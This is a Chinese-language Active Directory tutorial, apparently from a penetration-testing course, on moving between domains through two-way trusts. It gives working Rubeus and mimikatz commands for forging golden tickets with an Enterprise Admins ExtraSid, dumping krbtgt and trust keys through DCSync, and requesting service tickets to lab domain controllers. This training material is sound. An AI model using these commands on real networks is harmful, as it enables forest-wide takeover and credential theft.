# 双向信任

有了上一小节的理论基础，我们来利用双向信任实现域间的移动。因为双向信任既可以发生于森林之内，也可以发生于森林之间，因此我们分别讨论。

### **森林之内**

森林之内的横向移动是最简单的情形，因为信任是相互的，例如从子域移动到父域。我们有 2 种方式在森林之内移动，分别是利用 **krbtgt** 以及**信任密钥**，我们在 Dc01 上进行利用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/TNhRitvpg5kJl86J-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/TNhRitvpg5kJl86J-image.png)

#### **krbtgt** 

由于信任在 AD 森林中的作用方式，sidHistory 属性 (PAC 中的 ExtraSids) 在森林的域中是起作用的，因为这些 SID 不会在**跨域引用**中被 **SID 过滤器**过滤掉。因此，将 sidHistory/ExtraSids 设置为根域中的**企业管理员的 SID** 能够奏效，就好像他们真的是是企业管理员一样。Microsoft 已经知道这是一个问题，因此 sidHistory 是一个受保护的属性，很难修改，在以前对其的利用也是相当复杂的。  
现在，有了 Mimikatz/Rubeus 的**黄金票据**模块，攻击者可以为伪造的票据设置 **KERB\_VALIDATION\_INFO** 结构体 (该结构定义了 DC 提供的用户登录和授权信息) 中的 **ExtraSids** 部分，ExtraSids 被描述为指向 **KERB\_SID\_AND\_ATTRIBUTES 结构体列表的指针**，该结构包含与主体所属域以外的域中的组相对应的 SID 列表。

因此，如果攻击者在森林中的**任何子域**中能有权限检索**子域的 krbtgt 哈希**，将**根域的企业管理员的 SID** 添加到 Mimikatz/Rubeus 伪造的黄金票据中，便可以接管整片森林。

但，这仅适用于在森林内的双向信任，由于 SID 过滤，这不适用于森林之间的双向信任。我们来看看利用的过程：

获得子域的 krbtgt 密钥：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/XYuOLfgSGy3YeEIn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/XYuOLfgSGy3YeEIn-image.png)

将 ExtraSids 设置为企业管理员的 SID

```
Rubeus.exe golden /aes256:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /user:Administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /sids:S-1-5-21-3775014555-2484002919-2799327105-512 /nowrap 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/XuVqy9rZyTl7dLvM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/XuVqy9rZyTl7dLvM-image.png)

创建牺牲会话、导入票据以及验证访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/6EcXdsSdol6OwOxo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/6EcXdsSdol6OwOxo-image.png)

#### **信任密钥**

跨域访问服务的过程我们已经讨论过了，首先我们需要得到信任密钥，通过下述命令之一获得：

```
mimikatz lsadump::dcsync /domain:prod.raven-med.local /user:raven-med$
mimikatz lsadump::trust /patch 
```

如下图所示，得到的密钥是一致的。如果用的后者，寻找 **\[In\]** 信任密钥。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/WX4c8Fmn6NscJ5pa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/WX4c8Fmn6NscJ5pa-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/GlwdnNq19oHXeOjN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/GlwdnNq19oHXeOjN-image.png)

使用跨域密钥申请**跨域 TGT**：

```powershell
Rubeus.exe golden /rc4:7a93230db5144ccd92ac1fa086f46e49 /user:Administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /sids:S-1-5-21-3775014555-2484002919-2799327105-512 /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/iL6Huo7nWzq8X0FO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/iL6Huo7nWzq8X0FO-image.png)

使用跨域 TGT 申请 TGS：

```powershell
Rubeus.exe asktgs /ticket:<...> /service:cifs/dc02.raven-med.local /dc:dc02.raven-med.local /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/0Ej3hVftYiRaZz6e-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/0Ej3hVftYiRaZz6e-image.png)

创建牺牲会话、导入票据以及验证访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/5th5MrzYuI5ZJqlK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/5th5MrzYuI5ZJqlK-image.png)

### **森林之间**

请记住，**森林是 AD 中安全的边界**，而域不是，因此利用森林之间的双向信任我们会遇到其他的限制。我们在 **Dc02** 上试图通过利用森林间的双向信任移动到 White-bird 域中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/tzYfPEGk3YiJHqnI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/tzYfPEGk3YiJHqnI-image.png)

为了缓解 SID 过滤器的限制，我们需要在 Dc05 上开启 SID 历史

```powershell
netdom trust white-bird.local /d:raven-med.local /enablesidhistory:yes
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/hm3yyxdaDu5kczHO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/hm3yyxdaDu5kczHO-image.png)

再来查看域信任，我们发现增加了 **TREAT\_AS\_EXTERNAL** 的信任属性。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/rmKku83EikxE1DWU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/rmKku83EikxE1DWU-image.png)

对于具有双向信任的森林之间的移动，步骤整体相似，但是在上一小节我们提到了 **SID 过滤器**，因此我们需要寻找出 **RID ≥1000** 的组。White-bird 域中，**Server Admin** 满足，虽然并不能让我们直接获得对域控制器的访问，但给予了我们一个立足空间。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/XjAeU1Nl07Bjr21c-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/XjAeU1Nl07Bjr21c-image.png)